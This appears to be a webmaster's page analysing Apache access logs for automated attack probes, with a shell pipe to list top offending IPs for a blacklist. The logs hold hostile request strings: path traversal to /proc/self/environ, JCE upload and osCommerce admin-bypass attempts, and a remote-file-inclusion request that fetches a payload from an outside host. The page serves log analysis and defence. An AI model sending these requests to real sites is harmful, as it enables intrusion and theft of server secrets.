[16/Aug/2010:12:28:52 -0600] "GET /index.php?pageid=' HTTP/1.1" 302 698 "-" "libwww-perl/5.834" 194.146.226.69 - - [16/Aug/2010:12:28:52 -0600] "GET /400.shtml?pageid=' HTTP/1.1" 500 756 "-" "libwww-perl/5.834" 194.146.226.69 - - [16/Aug/2010:12:28:53 -0600] "GET /Admin/Tivoli/TEC/Event_console/index.php?pageid=' HTTP/1.1" 302 698 "-" "libwww-perl/5.834" 194.146.226.69 - - [16/Aug/2010:12:28:53 -0600] "GET /400.shtml?pageid=' HTTP/1.1" 500 756 "-" "libwww-perl/5.834" 77.243.239.121 - - [16/Aug/2010:12:41:05 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:06 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:36 -0600] "GET /Scripting/pipes.shtml//index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:37 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:37 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:37 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:38 -0600] "GET /Scripting//index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:38 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:41:39 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:41:39 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:48 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:12:41:48 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:42:24 -0600] "GET /Scripting/pipes.shtml//index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:42:24 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:42:25 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:42:25 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:42:25 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:42:26 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:42:26 -0600] "GET /Scripting//index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:12:42:26 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 89.111.176.226 - - [16/Aug/2010:12:42:29 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:42:29 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:42:38 -0600] "GET /Scripting/pipes.shtml//index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:42:39 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:42:39 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:42:40 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:42:40 -0600] "GET /Scripting//index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:42:40 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:43:40 -0600] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 878 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:12:43:41 -0600] "GET /400.shtml?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810"
One common thing for those record is the usage of libwww-perl. Greping on string libwww brings us more complete picture .
Extracting IP addresses gives you the first draft of the "blacklist" and that top dozen can be used to block those rogue addresses from accessing your site. To get such a "dirty dozen" you can use a simple pipe which can be made into a function or shell script:
grep libwww $1 | cut -d' ' -f 1 \ sort -n | uniq -c | sort -rn | head -12 > $1.dirty
Below are the results of processing of the list from above:
20 83.149.125.174 home.w-sieci.pl 18 80.67.20.21 mayermail.de 12 200.69.222.122 contactar01.gestionarnet.com 11 64.78.163.2 nickentgolf.com 11 62.193.224.166 wpc0230.amenworld.com 10 86.109.161.201 lincl239.ns1.couldix.com 9 87.230.2.113 lvps87-230-2-113.dedicated.hosteurope.de 9 85.214.55.73 mind-creations.net 7 193.192.249.157 6 87.118.96.254 ns.km22206-02.keymachine.de 6 72.55.153.108 ip-72-55-153-108.static.privatedns.com 6 66.147.239.104 host.1sbs.com 6 216.246.52.59 server.dynasoft.com.ph 6 213.195.77.225 225.77.195.213.ibercom.com 5 217.115.197.51 node11.cluster.nxs.nl
![]() |
![]() |
![]() |
1 952 POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4f e1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1 2 833 GET //index.php HTTP/1.1 3 438 GET //admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1 4 412 POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1 5 338 GET /WWW/probe_is_registered.shtml?name=magic.php HTTP/1.1 6 300 POST //index.php HTTP/1.1 7 264 POST /pingserver.php HTTP/1.1 8 264 GET /WWW/HTTP_log_analysis//admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1 9 239 GET /wp-login.php HTTP/1.1 10 230 POST /Office/Frontpage/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20 &6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1 11 230 GET /administrator/index.php HTTP/1.1 12 225 POST /Office/Frontpage/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=2 0 HTTP/1.1 13 211 GET /WWW//admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1 14 205 POST /viewticket.php HTTP/1.1 15 175 GET /About/Stats//admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1 16 158 GET /About//admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1 17 126 GET /admin/categories.php/login.php HTTP/1.1 18 125 GET /Malware/Spyware/register.php?mlvl=-1 HTTP/1.1 19 124 POST /administrator/index.php HTTP/1.1 20 118 GET /images/stories/3xp.php HTTP/1.1 21 109 GET /admin.php HTTP/1.1 22 101 POST /WWW/Webservers/Apache/Modules/Mod_rewrite/viewticket.php HTTP/1.1 23 100 POST /OFM//components/filemanager/download.php HTTP/1.1 24 100 POST //nucleus/plugins/skinfiles/index.php HTTP/1.1 25 100 POST //components/filemanager/download.php HTTP/1.1
![]() |
![]() |
![]() |
520 203.130.206.204 Unresolved 511 176.31.252.38 ns387958.ip-176-31-252.eu 457 50.28.14.54 proton.sabren.com 301 37.187.250.73 ns340593.ip-37-187-250.eu 288 46.4.116.200 static.200.116.4.46.clients.your-server.de 288 194.146.200.68 mail.logic-bratsk.ru 275 191.238.83.120 Unresolved 273 5.39.74.132 ns2289998.ovh.net 263 191.233.40.18 Unresolved 257 191.233.33.100 Unresolved 255 191.233.33.245 Unresolved 240 82.127.156.19 LNantes-156-76-5-19.w82-127.abo.wanadoo.fr 238 58.22.156.231 Unresolved 236 94.23.98.251 serveur02.ffbad.org 229 103.2.237.233 ht002.joister.com 216 81.176.228.2 l19.in-solve.ru 210 37.187.55.146 146.ip-37-187-55.eu 207 37.187.147.6 ns321378.ip-37-187-147.eu 205 174.136.14.201 panel.fridaydesign.com 204 195.184.9.93 mail.telekol.hu 203 94.75.249.46 vps1.webing.nl 200 87.117.203.32 Unresolved 198 91.121.89.97 mutu1.cvc-it.com 163 85.214.195.39 h1910509.stratoserver.net 158 175.42.44.63 Unresolved 144 81.88.49.13 opus12.register.it 144 213.13.156.22 sv01.alojamento-portugal.com 144 185.19.184.134 durga.thirdeye.it 144 178.136.234.155 Unresolved 138 190.210.189.229 customer-static-210-189-229.iplannetworks.net
![]() |
![]() |
![]() |
Those attacks are really look very crude. I wonder why they repeat the same request again and again? ...
91.121.89.20 - - [28/Aug/2012:09:21:27 -0700] "POST /Lang/cpp.shtml%22%20class=%22resultLink/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [28/Aug/2012:09:21:27 -0700] "POST /Lang/cpp.shtml%22%20class=%22resultLink/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [28/Aug/2012:09:21:28 -0700] "POST /Lang/cpp.shtml%22%20class=%22resultLink/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [28/Aug/2012:09:21:29 -0700] "POST /admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [28/Aug/2012:09:21:29 -0700] "POST /admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [28/Aug/2012:09:21:30 -0700] "POST /admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [28/Aug/2012:09:21:30 -0700] "POST /Lang/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [28/Aug/2012:09:21:31 -0700] "POST /Lang/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [28/Aug/2012:09:21:31 -0700] "POST /Lang/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 5.39.112.251 - - [28/Aug/2012:09:22:04 -0700] "GET /Admin/humor.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Admin/humor.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 93.188.8.141 - - [28/Aug/2012:09:23:54 -0700] "GET /admin/product.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:09:23:54 -0700] "GET /extras/curltest.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 188.187.141.189 - - [28/Aug/2012:09:48:02 -0700] "GET /Commercial_linuxes/Suse/index.php HTTP/1.0" 403 82 "http://www.softpanorama.org/index.php" "Opera/9.80 (Windows NT 6.1; U; YB/3.5.1; ru) Presto/2.6.30 Version/10.63" 188.187.141.189 - - [28/Aug/2012:09:48:04 -0700] "GET /index.php HTTP/1.0" 403 82 "http://www.softpanorama.org/index.php" "Opera/9.80 (Windows NT 6.1; U; YB/3.5.1; ru) Presto/2.6.30 Version/10.63" 5.39.112.251 - - [28/Aug/2012:09:56:19 -0700] "GET /Editors/tcl_editors.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Editors/tcl_editors.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 207.126.61.161 - - [28/Aug/2012:10:28:00 -0700] "GET /About/Stats//index.php?option=com_joomlaradiov5&controller=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 207.126.61.161 - - [28/Aug/2012:10:28:00 -0700] "GET //index.php?option=com_joomlaradiov5&controller=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 207.126.61.161 - - [28/Aug/2012:10:28:00 -0700] "GET /About//index.php?option=com_joomlaradiov5&controller=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 61.56.203.11 - - [28/Aug/2012:10:33:31 -0700] "GET /Scripting/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://recycleengineering.com/itrecycle/tmp/install_4e8971c78d252/arm7/html/com_tools/daster.jpg?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 61.56.203.11 - - [28/Aug/2012:10:33:33 -0700] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=test?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 61.56.203.11 - - [28/Aug/2012:10:33:34 -0700] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://recycleengineering.com/itrecycle/tmp/install_4e8971c78d252/arm7/html/com_tools/daster.jpg?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 200.98.145.36 - - [28/Aug/2012:10:34:02 -0700] "GET /Malware/index2.php?p=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 200.98.145.36 - - [28/Aug/2012:10:34:02 -0700] "GET /index2.php?p=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 5.39.112.251 - - [28/Aug/2012:10:42:59 -0700] "GET /Office/html_editors.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Office/html_editors.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 91.121.115.109 - - [28/Aug/2012:10:43:40 -0700] "GET /Malware/Malicious_web/zombies.shtml//index.php?option=com_joomlaradiov5&controller=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.115.109 - - [28/Aug/2012:10:43:40 -0700] "GET //index.php?option=com_joomlaradiov5&controller=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.115.109 - - [28/Aug/2012:10:43:41 -0700] "GET /Malware/Malicious_web//index.php?option=com_joomlaradiov5&controller=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 93.188.8.141 - - [28/Aug/2012:10:49:40 -0700] "GET /Security/admin/sqlpatch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:40 -0700] "GET /Security/admin/sqlpatch1.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:41 -0700] "GET /Security/admin/sq1patch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:41 -0700] "GET /Security/admin/sq1p4tch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:41 -0700] "GET /Security/admin/sqlpatch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:42 -0700] "GET /Security/admin/sqlpatch.php1/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:42 -0700] "GET /Security/admin/sqlpatch1.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:43 -0700] "GET /Security/admin/sq1patch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:43 -0700] "GET /Security/admin/sq1p4tch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:44 -0700] "GET /Security/admin/sqlpatch.php1/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:47 -0700] "GET /admin/sqlpatch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:47 -0700] "GET /admin/sqlpatch1.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:48 -0700] "GET /admin/sq1patch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:48 -0700] "GET /admin/sq1p4tch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:49 -0700] "GET /admin/sqlpatch.php1/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:49 -0700] "GET /admin/sqlpatch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:49 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:49 -0700] "GET /admin/sqlpatch1.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:50 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:50 -0700] "GET /admin/sq1patch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:50 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:50 -0700] "GET /admin/sq1p4tch.php/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:51 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:51 -0700] "GET /admin/sqlpatch.php1/password_forgotten.php?action=execute HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:51 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:51 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:52 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:52 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:53 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 93.188.8.141 - - [28/Aug/2012:10:49:53 -0700] "GET //admin/record_company.php/password_forgotten.php HTTP/1.1" 403 82 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 5.39.112.251 - - [28/Aug/2012:11:12:55 -0700] "GET /Commercial_linuxes/linux_acl.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Commercial_linuxes/linux_acl.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.9.199.112 - - [28/Aug/2012:11:19:24 -0700] "GET /scripting/php.shtml HTTP/1.1" 403 82 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 217.25.31.21 - - [28/Aug/2012:11:30:13 -0700] "GET /Logs/log_security.shtml//xmlrpc.php/xmlprc.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" 217.25.31.21 - - [28/Aug/2012:11:30:13 -0700] "GET //xmlrpc.php/xmlprc.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" 217.25.31.21 - - [28/Aug/2012:11:30:14 -0700] "GET /Logs//xmlrpc.php/xmlprc.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" 209.172.50.183 - - [28/Aug/2012:11:37:18 -0700] "GET /Tools/http://www.movinginn.co.uk//index.php?option=com_properties&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Gigabot/3.0 (http://www.gigablast.com/spider.html)" 209.172.50.183 - - [28/Aug/2012:11:37:18 -0700] "GET /http://www.movinginn.co.uk//index.php?option=com_properties&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Gigabot/3.0 (http://www.gigablast.com/spider.html)" 5.39.112.251 - - [28/Aug/2012:13:20:26 -0700] "GET /Utilities/dir_sync.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Utilities/dir_sync.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 37.220.26.62 - - [28/Aug/2012:13:32:06 -0700] "HEAD /history/hesilverhand.com/twacks/index.php?PHPSESSID=3114b73036790fa90aff2300bb08ce7e&topic=16451.15 HTTP/1.0" 403 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50" 2.93.27.123 - - [28/Aug/2012:13:47:00 -0700] "GET /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 65.52.108.12 - - [28/Aug/2012:13:54:30 -0700] "GET /Tools/tar.shtml/index.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 5.39.112.251 - - [28/Aug/2012:14:24:21 -0700] "GET /Bookshelf/excel.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Bookshelf/excel.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.39.112.251 - - [28/Aug/2012:14:56:54 -0700] "GET /Solaris/solaris_whitepapers.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Solaris/solaris_whitepapers.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.39.112.251 - - [28/Aug/2012:15:06:22 -0700] "GET /Scripting/php.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Scripting/php.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.39.112.251 - - [28/Aug/2012:15:27:53 -0700] "GET /Editors/ctags.shtmlindex.php HTTP/1.0" 403 82 